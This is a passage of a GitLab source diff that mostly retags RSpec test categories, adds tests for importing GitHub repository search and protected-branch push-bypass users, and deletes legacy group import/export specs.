+RSpec.describe Gitlab::GithubGistsImport::Importer::GistsImporter, feature_category: :importers do
subject(:result) { described_class.new(user, token).execute }
let_it_be(:user) { create(:user) }
diff --git a/spec/lib/gitlab/github_gists_import/representation/gist_spec.rb b/spec/lib/gitlab/github_gists_import/representation/gist_spec.rb
index 480aefb2c74..d6b47a1e837 100644
--- a/spec/lib/gitlab/github_gists_import/representation/gist_spec.rb
+++ b/spec/lib/gitlab/github_gists_import/representation/gist_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubGistsImport::Representation::Gist, feature_category: :importer do
+RSpec.describe Gitlab::GithubGistsImport::Representation::Gist, feature_category: :importers do
shared_examples 'a Gist' do
it 'returns an instance of Gist' do
expect(gist).to be_an_instance_of(described_class)
diff --git a/spec/lib/gitlab/github_gists_import/status_spec.rb b/spec/lib/gitlab/github_gists_import/status_spec.rb
index 4cbbbd430eb..d2016ef0248 100644
--- a/spec/lib/gitlab/github_gists_import/status_spec.rb
+++ b/spec/lib/gitlab/github_gists_import/status_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubGistsImport::Status, :clean_gitlab_redis_cache, feature_category: :importer do
+RSpec.describe Gitlab::GithubGistsImport::Status, :clean_gitlab_redis_cache, feature_category: :importers do
subject(:import_status) { described_class.new(user.id) }
let_it_be(:user) { create(:user) }
diff --git a/spec/lib/gitlab/github_import/bulk_importing_spec.rb b/spec/lib/gitlab/github_import/bulk_importing_spec.rb
index af31cb6c873..136ddb566aa 100644
--- a/spec/lib/gitlab/github_import/bulk_importing_spec.rb
+++ b/spec/lib/gitlab/github_import/bulk_importing_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubImport::BulkImporting, feature_category: :importer do
+RSpec.describe Gitlab::GithubImport::BulkImporting, feature_category: :importers do
let(:project) { instance_double(Project, id: 1) }
let(:importer) { MyImporter.new(project, double) }
let(:importer_class) do
diff --git a/spec/lib/gitlab/github_import/client_spec.rb b/spec/lib/gitlab/github_import/client_spec.rb
index 526a8721ff3..d69bc4d60ee 100644
--- a/spec/lib/gitlab/github_import/client_spec.rb
+++ b/spec/lib/gitlab/github_import/client_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubImport::Client do
+RSpec.describe Gitlab::GithubImport::Client, feature_category: :importer do
subject(:client) { described_class.new('foo', parallel: parallel) }
let(:parallel) { true }
@@ -614,6 +614,46 @@ RSpec.describe Gitlab::GithubImport::Client do
client.search_repos_by_name_graphql('test')
end
+ context 'when relation type option present' do
+ context 'when relation type is owned' do
+ let(:expected_query) { 'test in:name is:public,private user:user' }
+
+ it 'searches for repositories within the organization based on name' do
+ expect(client.octokit).to receive(:post).with(
+ '/graphql', { query: expected_graphql }.to_json
+ )
+
+ client.search_repos_by_name_graphql('test', relation_type: 'owned')
+ end
+ end
+
+ context 'when relation type is organization' do
+ let(:expected_query) { 'test in:name is:public,private org:test-login' }
+
+ it 'searches for repositories within the organization based on name' do
+ expect(client.octokit).to receive(:post).with(
+ '/graphql', { query: expected_graphql }.to_json
+ )
+
+ client.search_repos_by_name_graphql(
+ 'test', relation_type: 'organization', organization_login: 'test-login'
+ )
+ end
+ end
+
+ context 'when relation type is collaborated' do
+ let(:expected_query) { 'test in:name is:public,private repo:repo1 repo:repo2' }
+
+ it 'searches for collaborated repositories based on name' do
+ expect(client.octokit).to receive(:post).with(
+ '/graphql', { query: expected_graphql }.to_json
+ )
+
+ client.search_repos_by_name_graphql('test', relation_type: 'collaborated')
+ end
+ end
+ end
+
context 'when pagination options present' do
context 'with "first" option' do
let(:expected_graphql_params) do
diff --git a/spec/lib/gitlab/github_import/importer/labels_importer_spec.rb b/spec/lib/gitlab/github_import/importer/labels_importer_spec.rb
index ad9ef4afddd..9e295ab215a 100644
--- a/spec/lib/gitlab/github_import/importer/labels_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/labels_importer_spec.rb
@@ -2,7 +2,8 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubImport::Importer::LabelsImporter, :clean_gitlab_redis_cache, feature_category: :importer do
+RSpec.describe Gitlab::GithubImport::Importer::LabelsImporter, :clean_gitlab_redis_cache,
+feature_category: :importers do
let(:project) { create(:project, import_source: 'foo/bar') }
let(:client) { double(:client) }
let(:importer) { described_class.new(project, client) }
diff --git a/spec/lib/gitlab/github_import/importer/milestones_importer_spec.rb b/spec/lib/gitlab/github_import/importer/milestones_importer_spec.rb
index 8667729d79b..47b9a41c364 100644
--- a/spec/lib/gitlab/github_import/importer/milestones_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/milestones_importer_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::GithubImport::Importer::MilestonesImporter, :clean_gitlab_redis_cache,
- feature_category: :importer do
+ feature_category: :importers do
let(:project) { create(:project, import_source: 'foo/bar') }
let(:client) { double(:client) }
let(:importer) { described_class.new(project, client) }
diff --git a/spec/lib/gitlab/github_import/importer/protected_branch_importer_spec.rb b/spec/lib/gitlab/github_import/importer/protected_branch_importer_spec.rb
index d6b7411e640..d999bb3a3a3 100644
--- a/spec/lib/gitlab/github_import/importer/protected_branch_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/protected_branch_importer_spec.rb
@@ -15,6 +15,9 @@ RSpec.describe Gitlab::GithubImport::Importer::ProtectedBranchImporter do
let(:expected_merge_access_level) { Gitlab::Access::MAINTAINER }
let(:expected_allow_force_push) { false }
let(:expected_code_owner_approval_required) { false }
+ let(:allowed_to_push_users) { [] }
+ let(:push_access_levels_number) { 1 }
+ let(:push_access_levels_attributes) { [{ access_level: expected_push_access_level }] }
let(:github_protected_branch) do
Gitlab::GithubImport::Representation::ProtectedBranch.new(
id: branch_name,
@@ -22,7 +25,8 @@ RSpec.describe Gitlab::GithubImport::Importer::ProtectedBranchImporter do
required_conversation_resolution: required_conversation_resolution,
required_signatures: required_signatures,
required_pull_request_reviews: required_pull_request_reviews,
- require_code_owner_reviews: require_code_owner_reviews_on_github
+ require_code_owner_reviews: require_code_owner_reviews_on_github,
+ allowed_to_push_users: allowed_to_push_users
)
end
@@ -36,7 +40,7 @@ RSpec.describe Gitlab::GithubImport::Importer::ProtectedBranchImporter do
let(:expected_ruleset) do
{
name: 'protection',
- push_access_levels_attributes: [{ access_level: expected_push_access_level }],
+ push_access_levels_attributes: push_access_levels_attributes,
merge_access_levels_attributes: [{ access_level: expected_merge_access_level }],
allow_force_push: expected_allow_force_push,
code_owner_approval_required: expected_code_owner_approval_required
@@ -56,7 +60,7 @@ RSpec.describe Gitlab::GithubImport::Importer::ProtectedBranchImporter do
it 'creates protected branch and access levels for given github rule' do
expect { importer.execute }.to change(ProtectedBranch, :count).by(1)
- .and change(ProtectedBranch::PushAccessLevel, :count).by(1)
+ .and change(ProtectedBranch::PushAccessLevel, :count).by(push_access_levels_number)
.and change(ProtectedBranch::MergeAccessLevel, :count).by(1)
end
end
@@ -220,10 +224,97 @@ RSpec.describe Gitlab::GithubImport::Importer::ProtectedBranchImporter do
context 'when required_pull_request_reviews rule is enabled on GitHub' do
let(:required_pull_request_reviews) { true }
- let(:expected_push_access_level) { Gitlab::Access::NO_ACCESS }
- let(:expected_merge_access_level) { Gitlab::Access::MAINTAINER }
- it_behaves_like 'create branch protection by the strictest ruleset'
+ context 'when no user is allowed to bypass push restrictions' do
+ let(:expected_push_access_level) { Gitlab::Access::NO_ACCESS }
+ let(:expected_merge_access_level) { Gitlab::Access::MAINTAINER }
+
+ it_behaves_like 'create branch protection by the strictest ruleset'
+ end
+
+ context 'when there are users who are allowed to bypass push restrictions' do
+ let(:owner_id) { project.owner.id }
+ let(:owner_username) { project.owner.username }
+ let(:other_user) { create(:user) }
+ let(:other_user_id) { other_user.id }
+ let(:other_user_username) { other_user.username }
+ let(:allowed_to_push_users) do
+ [
+ { id: owner_id, login: owner_username },
+ { id: other_user_id, login: other_user_username }
+ ]
+ end
+
+ context 'when the protected_refs_for_users feature is available', if: Gitlab.ee? do
+ let(:expected_merge_access_level) { Gitlab::Access::MAINTAINER }
+
+ before do
+ stub_licensed_features(protected_refs_for_users: true)
+ end
+
+ context 'when the users are found on GitLab' do
+ let(:push_access_levels_number) { 2 }
+ let(:push_access_levels_attributes) do
+ [
+ { user_id: owner_id },
+ { user_id: other_user_id }
+ ]
+ end
+
+ before do
+ project.add_member(other_user, :maintainer)
+ allow_next_instance_of(Gitlab::GithubImport::UserFinder) do |finder|
+ allow(finder).to receive(:find).with(owner_id, owner_username).and_return(owner_id)
+ allow(finder).to receive(:find).with(other_user_id, other_user_username).and_return(other_user_id)
+ end
+ end
+
+ it_behaves_like 'create branch protection by the strictest ruleset'
+ end
+
+ context 'when one of found users is not a member of the imported project' do
+ let(:push_access_levels_number) { 1 }
+ let(:push_access_levels_attributes) do
+ [
+ { user_id: owner_id }
+ ]
+ end
+
+ before do
+ allow_next_instance_of(Gitlab::GithubImport::UserFinder) do |finder|
+ allow(finder).to receive(:find).with(owner_id, owner_username).and_return(owner_id)
+ allow(finder).to receive(:find).with(other_user_id, other_user_username).and_return(other_user_id)
+ end
+ end
+
+ it_behaves_like 'create branch protection by the strictest ruleset'
+ end
+
+ context 'when the user are not found on GitLab' do
+ before do
+ allow_next_instance_of(Gitlab::GithubImport::UserFinder) do |finder|
+ allow(finder).to receive(:find).and_return(nil)
+ end
+ end
+
+ let(:expected_push_access_level) { Gitlab::Access::NO_ACCESS }
+ let(:expected_merge_access_level) { Gitlab::Access::MAINTAINER }
+
+ it_behaves_like 'create branch protection by the strictest ruleset'
+ end
+ end
+
+ context 'when the protected_refs_for_users feature is not available' do
+ before do
+ stub_licensed_features(protected_refs_for_users: false)
+ end
+
+ let(:expected_push_access_level) { Gitlab::Access::NO_ACCESS }
+ let(:expected_merge_access_level) { Gitlab::Access::MAINTAINER }
+
+ it_behaves_like 'create branch protection by the strictest ruleset'
+ end
+ end
end
context 'when required_pull_request_reviews rule is disabled on GitHub' do
diff --git a/spec/lib/gitlab/github_import/importer/releases_importer_spec.rb b/spec/lib/gitlab/github_import/importer/releases_importer_spec.rb
index ccbe5b5fc50..fe4d3e9d90b 100644
--- a/spec/lib/gitlab/github_import/importer/releases_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/releases_importer_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubImport::Importer::ReleasesImporter, feature_category: :importer do
+RSpec.describe Gitlab::GithubImport::Importer::ReleasesImporter, feature_category: :importers do
let(:project) { create(:project) }
let(:client) { double(:client) }
let(:importer) { described_class.new(project, client) }
diff --git a/spec/lib/gitlab/github_import/page_counter_spec.rb b/spec/lib/gitlab/github_import/page_counter_spec.rb
index 511b19c00e5..ddb62cc8fad 100644
--- a/spec/lib/gitlab/github_import/page_counter_spec.rb
+++ b/spec/lib/gitlab/github_import/page_counter_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::GithubImport::PageCounter, :clean_gitlab_redis_cache, feature_category: :importer do
+RSpec.describe Gitlab::GithubImport::PageCounter, :clean_gitlab_redis_cache, feature_category: :importers do
let(:project) { double(:project, id: 1) }
let(:counter) { described_class.new(project, :issues) }
diff --git a/spec/lib/gitlab/github_import/representation/protected_branch_spec.rb b/spec/lib/gitlab/github_import/representation/protected_branch_spec.rb
index 60cae79459e..e57ea31d1d2 100644
--- a/spec/lib/gitlab/github_import/representation/protected_branch_spec.rb
+++ b/spec/lib/gitlab/github_import/representation/protected_branch_spec.rb
@@ -28,6 +28,14 @@ RSpec.describe Gitlab::GithubImport::Representation::ProtectedBranch do
it 'includes the protected branch require_code_owner_reviews' do
expect(protected_branch.require_code_owner_reviews).to eq true
end
+
+ it 'includes the protected branch allowed_to_push_users' do
+ expect(protected_branch.allowed_to_push_users[0])
+ .to be_an_instance_of(Gitlab::GithubImport::Representation::User)
+
+ expect(protected_branch.allowed_to_push_users[0].id).to eq(4)
+ expect(protected_branch.allowed_to_push_users[0].login).to eq('alice')
+ end
end
end
@@ -40,7 +48,7 @@ RSpec.describe Gitlab::GithubImport::Representation::ProtectedBranch do
)
enabled_setting = Struct.new(:enabled, keyword_init: true)
required_pull_request_reviews = Struct.new(
- :url, :dismissal_restrictions, :require_code_owner_reviews,
+ :url, :dismissal_restrictions, :require_code_owner_reviews, :bypass_pull_request_allowances,
keyword_init: true
)
response.new(
@@ -57,7 +65,17 @@ RSpec.describe Gitlab::GithubImport::Representation::ProtectedBranch do
required_pull_request_reviews: required_pull_request_reviews.new(
url: 'https://example.com/branches/main/protection/required_pull_request_reviews',
dismissal_restrictions: {},
- require_code_owner_reviews: true
+ require_code_owner_reviews: true,
+ bypass_pull_request_allowances: {
+ users: [
+ {
+ login: 'alice',
+ id: 4,
+ url: 'https://api.github.com/users/cervols',
+ type: 'User'
+ }
+ ]
+ }
)
)
end
@@ -76,7 +94,8 @@ RSpec.describe Gitlab::GithubImport::Representation::ProtectedBranch do
'required_conversation_resolution' => true,
'required_signatures' => true,
'required_pull_request_reviews' => true,
- 'require_code_owner_reviews' => true
+ 'require_code_owner_reviews' => true,
+ 'allowed_to_push_users' => [{ 'id' => 4, 'login' => 'alice' }]
}
end
diff --git a/spec/lib/gitlab/http_spec.rb b/spec/lib/gitlab/http_spec.rb
index 929fd37ee40..57e4b4fc74b 100644
--- a/spec/lib/gitlab/http_spec.rb
+++ b/spec/lib/gitlab/http_spec.rb
@@ -51,10 +51,10 @@ RSpec.describe Gitlab::HTTP do
end
@original_net_http = Net.send(:remove_const, :HTTP)
- @webmock_net_http = WebMock::HttpLibAdapters::NetHttpAdapter.instance_variable_get('@webMockNetHTTP')
+ @webmock_net_http = WebMock::HttpLibAdapters::NetHttpAdapter.instance_variable_get(:@webMockNetHTTP)
Net.send(:const_set, :HTTP, mocked_http)
- WebMock::HttpLibAdapters::NetHttpAdapter.instance_variable_set('@webMockNetHTTP', mocked_http)
+ WebMock::HttpLibAdapters::NetHttpAdapter.instance_variable_set(:@webMockNetHTTP, mocked_http)
# Reload Gitlab::NetHttpAdapter
Gitlab.send(:remove_const, :NetHttpAdapter)
@@ -72,7 +72,7 @@ RSpec.describe Gitlab::HTTP do
after(:all) do
Net.send(:remove_const, :HTTP)
Net.send(:const_set, :HTTP, @original_net_http)
- WebMock::HttpLibAdapters::NetHttpAdapter.instance_variable_set('@webMockNetHTTP', @webmock_net_http)
+ WebMock::HttpLibAdapters::NetHttpAdapter.instance_variable_set(:@webMockNetHTTP, @webmock_net_http)
# Reload Gitlab::NetHttpAdapter
Gitlab.send(:remove_const, :NetHttpAdapter)
diff --git a/spec/lib/gitlab/import_export/all_models.yml b/spec/lib/gitlab/import_export/all_models.yml
index b34399d20f1..8750bf4387c 100644
--- a/spec/lib/gitlab/import_export/all_models.yml
+++ b/spec/lib/gitlab/import_export/all_models.yml
@@ -422,7 +422,9 @@ project:
- wiki_page_hooks_integrations
- deployment_hooks_integrations
- alert_hooks_integrations
+- incident_hooks_integrations
- vulnerability_hooks_integrations
+- apple_app_store_integration
- campfire_integration
- confluence_integration
- datadog_integration
@@ -482,6 +484,8 @@ project:
- project_repository
- users
- requesters
+- namespace_members
+- namespace_requesters
- deploy_keys_projects
- deploy_keys
- users_star_projects
@@ -664,6 +668,7 @@ project:
- pipeline_metadata
- disable_download_button
- dependency_list_exports
+- sbom_occurrences
award_emoji:
- awardable
- user
@@ -679,8 +684,6 @@ timelogs:
- note
push_event_payload:
- event
-issuable_severity:
-- issue
issue_assignees:
- issue
- assignee
@@ -705,6 +708,7 @@ metrics:
resource_label_events:
- user
- issue
+- work_item
- merge_request
- epic
- label
@@ -857,11 +861,13 @@ approvals:
resource_milestone_events:
- user
- issue
+ - work_item
- merge_request
- milestone
resource_state_events:
- user
- issue
+ - work_item
- merge_request
- source_merge_request
- epic
@@ -874,6 +880,7 @@ iteration:
resource_iteration_events:
- user
- issue
+ - work_item
- merge_request
- iteration
iterations_cadence:
diff --git a/spec/lib/gitlab/import_export/base/relation_object_saver_spec.rb b/spec/lib/gitlab/import_export/base/relation_object_saver_spec.rb
index 4ee825c71b6..a8b4b9a6f05 100644
--- a/spec/lib/gitlab/import_export/base/relation_object_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/base/relation_object_saver_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::ImportExport::Base::RelationObjectSaver do
+RSpec.describe Gitlab::ImportExport::Base::RelationObjectSaver, feature_category: :importers do
let(:project) { create(:project) }
let(:relation_object) { build(:issue, project: project) }
let(:relation_definition) { {} }
@@ -34,6 +34,7 @@ RSpec.describe Gitlab::ImportExport::Base::RelationObjectSaver do
it 'saves relation object with subrelations' do
expect(relation_object.notes).to receive(:<<).and_call_original
+ expect(relation_object).to receive(:save).and_call_original
saver.execute
@@ -80,6 +81,7 @@ RSpec.describe Gitlab::ImportExport::Base::RelationObjectSaver do
it 'saves valid subrelations and logs invalid subrelation' do
expect(relation_object.notes).to receive(:<<).twice.and_call_original
+ expect(relation_object).to receive(:save).and_call_original
expect(Gitlab::Import::Logger)
.to receive(:info)
.with(
diff --git a/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb b/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
index ce888b71d5e..f18d9e64f52 100644
--- a/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
+++ b/spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::ImportExport::FastHashSerializer do
+RSpec.describe Gitlab::ImportExport::FastHashSerializer, :with_license do
# FastHashSerializer#execute generates the hash which is not easily accessible
# and includes `JSONBatchRelation` items which are serialized at this point.
# Wrapping the result into JSON generating/parsing is for making
diff --git a/spec/lib/gitlab/import_export/group/legacy_tree_restorer_spec.rb b/spec/lib/gitlab/import_export/group/legacy_tree_restorer_spec.rb
deleted file mode 100644
index a5b03974bc0..00000000000
--- a/spec/lib/gitlab/import_export/group/legacy_tree_restorer_spec.rb
+++ /dev/null
@@ -1,153 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::ImportExport::Group::LegacyTreeRestorer do
- include ImportExport::CommonUtil
-
- let(:shared) { Gitlab::ImportExport::Shared.new(group) }
-
- describe 'restore group tree' do
- before_all do
- # Using an admin for import, so we can check assignment of existing members
- user = create(:admin, email: 'root@gitlabexample.com')
- create(:user, email: 'adriene.mcclure@gitlabexample.com')
- create(:user, email: 'gwendolyn_robel@gitlabexample.com')
-
- RSpec::Mocks.with_temporary_scope do
- @group = create(:group, name: 'group', path: 'group')
- @shared = Gitlab::ImportExport::Shared.new(@group)
-
- setup_import_export_config('group_exports/complex')
-
- group_tree_restorer = described_class.new(user: user, shared: @shared, group: @group, group_hash: nil)
-
- @restored_group_json = group_tree_restorer.restore
- end
- end
-
- context 'JSON' do
- it 'restores models based on JSON' do
- expect(@restored_group_json).to be_truthy
- end
-
- it 'has the group description' do
- expect(Group.find_by_path('group').description).to eq('Group Description')
- end
-
- it 'has group labels' do
- expect(@group.labels.count).to eq(10)
- end
-
- context 'issue boards' do
- it 'has issue boards' do
- expect(@group.boards.count).to eq(1)
- end
-
- it 'has board label lists' do
- lists = @group.boards.find_by(name: 'first board').lists
-
- expect(lists.count).to eq(3)
- expect(lists.first.label.title).to eq('TSL')
- expect(lists.second.label.title).to eq('Sosync')
- end
- end
-
- it 'has badges' do
- expect(@group.badges.count).to eq(1)
- end
-
- it 'has milestones' do
- expect(@group.milestones.count).to eq(5)
- end
-
- it 'has group children' do
- expect(@group.children.count).to eq(2)
- end
-
- it 'has group members' do
- expect(@group.members.map(&:user).map(&:email)).to contain_exactly('root@gitlabexample.com', 'adriene.mcclure@gitlabexample.com', 'gwendolyn_robel@gitlabexample.com')
- end
- end
- end
-
- context 'excluded attributes' do
- let!(:source_user) { create(:user, id: 123) }
- let!(:importer_user) { create(:user) }
- let(:group) { create(:group) }
- let(:shared) { Gitlab::ImportExport::Shared.new(group) }
- let(:group_tree_restorer) { described_class.new(user: importer_user, shared: shared, group: group, group_hash: nil) }
- let(:group_json) { Gitlab::Json.parse(File.read(File.join(shared.export_path, 'group.json'))) }
-
- shared_examples 'excluded attributes' do
- excluded_attributes = %w[
- id
- owner_id
- parent_id
- created_at
- updated_at
- runners_token
- runners_token_encrypted
- saml_discovery_token
- ]
-
- before do
- group.add_owner(importer_user)
-
- setup_import_export_config('group_exports/complex')
- end
-
- excluded_attributes.each do |excluded_attribute|
- it 'does not allow override of excluded attributes' do
- expect(group_json[excluded_attribute]).not_to eq(group.public_send(excluded_attribute))
- end
- end
- end
-
- include_examples 'excluded attributes'
- end
-
- context 'group.json file access check' do
- let(:user) { create(:user) }
- let!(:group) { create(:group, name: 'group2', path: 'group2') }
- let(:group_tree_restorer) { described_class.new(user: user, shared: shared, group: group, group_hash: nil) }
- let(:restored_group_json) { group_tree_restorer.restore }
-
- it 'does not read a symlink' do
- Dir.mktmpdir do |tmpdir|
- setup_symlink(tmpdir, 'group.json')
- allow(shared).to receive(:export_path).and_call_original
-
- expect(group_tree_restorer.restore).to eq(false)
- expect(shared.errors).to include('Incorrect JSON format')
- end
- end
- end
-
- context 'group visibility levels' do
- let(:user) { create(:user) }
- let(:shared) { Gitlab::ImportExport::Shared.new(group) }
- let(:group_tree_restorer) { described_class.new(user: user, shared: shared, group: group, group_hash: nil) }
-
- before do
- setup_import_export_config(filepath)
-
- group_tree_restorer.restore
- end
-
- shared_examples 'with visibility level' do |visibility_level, expected_visibilities|
- context "when visibility level is #{visibility_level}" do
- let(:group) { create(:group, visibility_level) }
- let(:filepath) { "group_exports/visibility_levels/#{visibility_level}" }
-
- it "imports all subgroups as #{visibility_level}" do
- expect(group.children.map(&:visibility_level)).to match_array(expected_visibilities)
- end
- end
- end
-
- include_examples 'with visibility level', :public, [20, 10, 0]
- include_examples 'with visibility level', :private, [0, 0, 0]
- include_examples 'with visibility level', :internal, [10, 10, 0]
- end
-end
diff --git a/spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb b/spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb
deleted file mode 100644
index f5a4fc79c90..00000000000
--- a/spec/lib/gitlab/import_export/group/legacy_tree_saver_spec.rb
+++ /dev/null
@@ -1,159 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::ImportExport::Group::LegacyTreeSaver do
- describe 'saves the group tree into a json object' do
- let(:shared) { Gitlab::ImportExport::Shared.new(group) }
- let(:group_tree_saver) { described_class.new(group: group, current_user: user, shared: shared) }
- let(:export_path) { "#{Dir.tmpdir}/group_tree_saver_spec" }
- let(:user) { create(:user) }
- let!(:group) { setup_group }
-
- before do
- group.add_maintainer(user)
- allow(Gitlab::ImportExport).to receive(:storage_path).and_return(export_path)
- end
-
- after do
- FileUtils.rm_rf(export_path)
- end
-
- it 'saves group successfully' do
- expect(group_tree_saver.save).to be true
- end
-
- # It is mostly duplicated in
- # `spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb`
- # except:
- # context 'with description override' do
- # context 'group members' do
- # ^ These are specific for the Group::LegacyTreeSaver
- context 'JSON' do
- let(:saved_group_json) do
- group_tree_saver.save # rubocop:disable Rails/SaveBang
- group_json(group_tree_saver.full_path)
- end
-
- it 'saves the correct json' do
- expect(saved_group_json).to include({ 'description' => 'description' })
- end
-
- it 'has milestones' do
- expect(saved_group_json['milestones']).not_to be_empty
- end
-
- it 'has labels' do
- expect(saved_group_json['labels']).not_to be_empty
- end
-
- it 'has boards' do
- expect(saved_group_json['boards']).not_to be_empty
- end
-
- it 'has board label list' do
- expect(saved_group_json['boards'].first['lists']).not_to be_empty
- end
-
- it 'has group members' do
- expect(saved_group_json['members']).not_to be_empty
- end
-
- it 'has priorities associated to labels' do
- expect(saved_group_json['labels'].first['priorities']).not_to be_empty
- end
-
- it 'has badges' do
- expect(saved_group_json['badges']).not_to be_empty
- end
-
- context 'group children' do
- let(:children) { group.children }
-
- it 'exports group children' do
- expect(saved_group_json['children'].length).to eq(children.count)
- end
-
- it 'exports group children of children' do
- expect(saved_group_json['children'].first['children'].length).to eq(children.first.children.count)
- end
- end
-
- context 'group members' do
- let(:user2) { create(:user, email: 'group@member.com') }
- let(:member_emails) do
- saved_group_json['members'].map do |pm|
- pm['user']['public_email']
- end
- end
-
- before do
- user2.update!(public_email: user2.email)
- group.add_developer(user2)
- end
-
- it 'exports group members as group owner' do
- group.add_owner(user)
-
- expect(member_emails).to include('group@member.com')
- end
-
- context 'as admin' do
- let(:user) { create(:admin) }
-
- it 'exports group members as admin' do
- expect(member_emails).to include('group@member.com')
- end
-
- it 'exports group members' do
- member_types = saved_group_json['members'].map { |pm| pm['source_type'] }
-
- expect(member_types).to all(eq('Namespace'))
- end
- end
- end
-
- context 'group attributes' do
- shared_examples 'excluded attributes' do
- excluded_attributes = %w[
- id
- owner_id
- parent_id
- created_at
- updated_at
- runners_token
- runners_token_encrypted
- saml_discovery_token
- ]
-
- excluded_attributes.each do |excluded_attribute|
- it 'does not contain excluded attribute' do
- expect(saved_group_json).not_to include(excluded_attribute => group.public_send(excluded_attribute))
- end
- end
- end
-
- include_examples 'excluded attributes'
- end
- end
- end
-
- def setup_group
- group = create(:group, description: 'description')
- sub_group = create(:group, description: 'description', parent: group)
- create(:group, description: 'description', parent: sub_group)
- create(:milestone, group: group)
- create(:group_badge, group: group)
- group_label = create(:group_label, group: group)
- create(:label_priority, label: group_label, priority: 1)
- board = create(:board, group: group, milestone_id: Milestone::Upcoming.id)
- create(:list, board: board, label: group_label)
- create(:group_badge, group: group)
-
- group
- end
-
- def group_json(filename)
- ::JSON.parse(File.read(filename))
- end
-end
diff --git a/spec/lib/gitlab/import_export/project/tree_saver_spec.rb b/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
index 15108d28bf2..74b6e039601 100644
--- a/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/project/tree_saver_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::ImportExport::Project::TreeSaver do
+RSpec.describe Gitlab::ImportExport::Project::TreeSaver, :with_license do
let_it_be(:export_path) { "#{Dir.tmpdir}/project_tree_saver_spec" }
let_it_be(:exportable_path) { 'project' }
let_it_be(:user) { create(:user) }
diff --git a/spec/lib/gitlab/import_export/safe_model_attributes.yml b/spec/lib/gitlab/import_export/safe_model_attributes.yml
index 75d980cd5f4..e14e929faf3 100644
--- a/spec/lib/gitlab/import_export/safe_model_attributes.yml
+++ b/spec/lib/gitlab/import_export/safe_model_attributes.yml
@@ -702,7 +702,9 @@ Badge:
ProjectCiCdSetting:
- group_runners_enabled
- runner_token_expiration_interval
+- default_git_depth
ProjectSetting:
+- squash_option
- allow_merge_on_skipped_pipeline
- only_allow_merge_if_all_status_checks_passed
- has_confluence
@@ -916,6 +918,7 @@ PushRule:
- reject_unsigned_commits
- commit_committer_check
- regexp_uses_re2
+ - reject_non_dco_commits
MergeRequest::CleanupSchedule:
- id
- scheduled_at
diff --git a/spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb b/spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb
index ebb0d62afa0..e348e8f7991 100644
--- a/spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::ImportExport::SnippetsRepoRestorer do
+RSpec.describe Gitlab::ImportExport::SnippetsRepoRestorer, :clean_gitlab_redis_repository_cache, feature_category: :importers do
describe 'bundle a snippet Git repo' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, namespace: user.namespace) }
@@ -26,9 +26,18 @@ RSpec.describe Gitlab::ImportExport::SnippetsRepoRestorer do
shared_examples 'imports snippet repositories' do
before do
snippet1.snippet_repository&.delete
+ # We need to explicitly invalidate repository.exists? from cache by calling repository.expire_exists_cache.
+ # Previously, we didn't have to do this because snippet1.repository_exists? would hit Rails.cache, which is a
+ # NullStore, thus cache.read would always be false.
+ # Now, since we are using a separate instance of Redis, ie Gitlab::Redis::RepositoryCache,
+ # snippet.repository_exists? would still be true because snippet.repository.remove doesn't invalidate the
+ # cache (snippet.repository.remove only makes gRPC call to Gitaly).
+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107232#note_1214358593 for more.
+ snippet1.repository.expire_exists_cache
snippet1.repository.remove
snippet2.snippet_repository&.delete
+ snippet2.repository.expire_exists_cache
snippet2.repository.remove
end
diff --git a/spec/lib/gitlab/import_export/version_checker_spec.rb b/spec/lib/gitlab/import_export/version_checker_spec.rb
index 14c62edb786..b3730d85f13 100644
--- a/spec/lib/gitlab/import_export/version_checker_spec.rb
+++ b/spec/lib/gitlab/import_export/version_checker_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::ImportExport::VersionChecker do
+RSpec.describe Gitlab::ImportExport::VersionChecker, feature_category: :import do
include ImportExport::CommonUtil
let!(:shared) { Gitlab::ImportExport::Shared.new(nil) }
diff --git a/spec/lib/gitlab/instrumentation_helper_spec.rb b/spec/lib/gitlab/instrumentation_helper_spec.rb
index 7d78d25f18e..ce67d1d0297 100644
--- a/spec/lib/gitlab/instrumentation_helper_spec.rb
+++ b/spec/lib/gitlab/instrumentation_helper_spec.rb
@@ -4,7 +4,8 @@ require 'spec_helper'
require 'rspec-parameterized'
